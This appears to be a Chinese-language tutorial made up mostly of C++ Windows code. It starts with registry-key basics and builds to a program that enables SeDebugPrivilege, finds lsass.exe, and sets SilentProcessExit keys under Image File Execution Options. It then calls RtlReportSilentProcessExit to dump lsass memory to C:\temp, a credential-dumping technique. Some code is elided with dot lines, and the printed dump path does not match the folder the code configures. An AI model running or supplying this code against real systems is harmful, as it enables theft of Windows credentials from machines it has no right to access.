HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName  
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName\\GlobalFlag

#include <windows.h>  
#include <iostream>  
  
using namespace std;  
  
int main() {  
    HKEY hKey \= HKEY\_CURRENT\_USER;  
    LPCWSTR lpSubKey \= L"Software\\\\test";  
    HKEY phkResult \= NULL;  
    DWORD Result \= NULL;  
  
    RegCreateKeyExW(hKey, lpSubKey, 0, NULL, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, NULL, &phkResult, &Result);  
    if (Result \== 0x00000001L) {  
        cout << "\[+\] 密鑰不存在且已創(chuàng)建" << endl;  
    }  
    else if (Result \== 0x00000002L)  
    {  
        cout << "\[+\] 密鑰已存在" << endl;  
    }  
    else  
    {  
        cout << "\[-\] RegCreateKeyExW Error" << endl;  
    }  
  
}

#include <windows.h>  
#include <iostream>  
  
using namespace std;  
  
int main() {  
    HKEY hKey \= HKEY\_CURRENT\_USER;  
    LPCWSTR lpSubKey \= L"Software\\\\test";  
    HKEY phkResult \= NULL;  
  
    LSTATUS Open \= RegOpenKeyExW(hKey, lpSubKey, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, &phkResult);  
    if (Open != ERROR\_SUCCESS) {  
        cout << "\[-\] Not found" << endl;  
  
        return 1;  
    }  
    cout << "\[+\] RegOpenKeyExW Success" << endl;  
  
    DWORD Test\_Value \= 0x20;  
    LSTATUS SetValye \= RegSetValueExW(phkResult, L"test", 0, REG\_DWORD, (const  BYTE\*)&Test\_Value, sizeof(DWORD));  
    if (SetValye != ERROR\_SUCCESS) {  
        cout << "\[-\] RegSetValueExW Error" << endl;  
  
        return 1;  
    }  
    cout << "\[+\] RegSetValueExW Success" << endl;  
}

#include <windows.h>
#include <iostream>
#include <string>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>

using namespace std;

typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func) (
    _In_ HANDLE ProcessHandle,
    _In_ NTSTATUS ExitStatus
    );

RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlReportSilentProcessExit");

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
    );

_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;
        return 1;
    }

    cout << "[+] RtlAdjustPrivilege Success" << endl;
}

int GetPid() {
    HRESULT hr;

    DWORD pid;
    PROCESSENTRY32 ed;
    ed.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (Process32First(snapshot, &ed) == TRUE)
    {
        while (Process32Next(snapshot, &ed) == TRUE)
        {
            if ((string)ed.szExeFile == "lsass.exe") {
                pid = ed.th32ProcessID;
            }
        }
    }
    CloseHandle(snapshot);

    return pid;
}

int RegeditSet() {
    HKEY hKey = HKEY_LOCAL_MACHINE;
    LPCWSTR lpSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe";
    HKEY phkResult;
    DWORD Result = NULL;
    .............................................................
        .............................................................
        .............................................................
    }
    else
    {
        cout << "[-] RegCreateKeyExW SilentProcessExit Error" << endl;
        return 1;
    }

    DWORD ReportingMode = 0x2;
    WCHAR LocalDumpFolder[MAX_PATH] = L"C:\\temp";
    DWORD DumpType = 0x2;

    .............................................................
        .............................................................
        .............................................................
    if (RegSetValue_ReportingMode != ERROR_SUCCESS || RegSetValue_LocalDumpFolder != ERROR_SUCCESS
        || RegSetValue_DumpType != ERROR_SUCCESS) {

        cout << "[-]  RegSetValueExW has an Error " << endl;
        return 1;
    }

    cout << "[+] Success Setting All" << endl;
}

int main() {
    if (RegeditSet() == 1) {
        return 1;
    }
    DWORD pid = GetPid();
    cout << "[+] Lsass Pid is:" << pid << endl;

    SeDebugPrivilege();
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    if (hProcess == NULL) {
        cout << "[-] OpenProcess Error" << endl;
        return 1;
    }
    RtlReportSilentProcessExit(hProcess, 0);
    cout << "[+] Path：C:\\tmp" << endl;
}